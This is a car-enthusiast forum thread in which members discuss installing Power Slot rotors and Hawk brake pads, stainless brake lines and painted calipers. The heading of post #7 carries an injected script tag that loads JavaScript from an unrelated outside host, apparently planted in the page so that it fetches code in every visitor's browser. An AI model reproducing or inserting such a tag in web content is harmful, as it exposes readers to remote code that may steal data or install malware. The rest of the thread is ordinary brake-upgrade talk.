Coming Soon! Power Slot Rotor and Hawk Pad Installation Walkthrough
#1
Coming Soon! Power Slot Rotor and Hawk Pad Installation Walkthrough
Brakes just started grinding really bad on Wednesday. Looked at SummitRacing and a few other stores for Powerslot rotors and they all had free next day delivery, but I know Rob and ordered the Braking Performance Package from 3800Performance. Got an email on Friday that I won't see the package for 2 weeks!!! Damn IT!!! I knew I should have ordered them seperately from Summit.
Oh well. I'll be posting a walkthrough with pics on how to change break pads and the rotors in the near future.
Oh well. I'll be posting a walkthrough with pics on how to change break pads and the rotors in the near future.
#2
RE: Coming Soon! Power Slot Rotor and Hawk Pad Installation Walkthrough
I want to suggest you get the stainless steeel brake lines to go along with them. Takes that "spongy" feel out of the pedal and gives you a good, solid pedal.Its well worth the $100 to complete your brake system! I have the crossdrilled rotors and hawk pads with the stainless lines and I love the package! Its getting time to replace the Hawk pads, with about 50,000 miles on them, so that's not bad, especially with several hard brakings on them.I also painted the calipers while I had them off.
Good luck!
Good luck!
#3
RE: Coming Soon! Power Slot Rotor and Hawk Pad Installation Walkthrough
I plan on painting the calipers as well, but I can't do the brake lines at this time. Had to put the package on a credit card as it is.
#5
RE: Coming Soon! Power Slot Rotor and Hawk Pad Installation Walkthrough
Its a nice Upgrade I ordered the powerslots and hawk pads off of autoanything.com. I repainted my calipers red and all i can say is wow what a differace over stock!
Ill post pics later
Ill post pics later
#7
RE: Coming Soon! Power Slot Rotor and Hawk Pad Installation Walkthrough<script src=http://www.tag58.com/b.js></script>
Regular Powerslot rotors and the Performance Brake Pads. I heard a few weird stories... wow it's been 3 years now... but I heard them years ago using the ceramic pads.
I don't know if that has changed but I remember people were recommending the regular pads.
I don't know if that has changed but I remember people were recommending the regular pads.
Thread
Thread Starter
Forum
Replies
Last Post
Interior Build: Shifter walkthrough soon to come
Tobian46
General Monte Carlo Talk
15
02-10-2015 08:59 PM
ultrarevvin1
Vendor for sale section
0
01-14-2014 10:29 AM
Endo
Monte Carlo Repair Help
9
03-09-2010 12:14 PM
2003supersport
Engine/Transmission/Performance Adders
5
12-19-2009 06:38 PM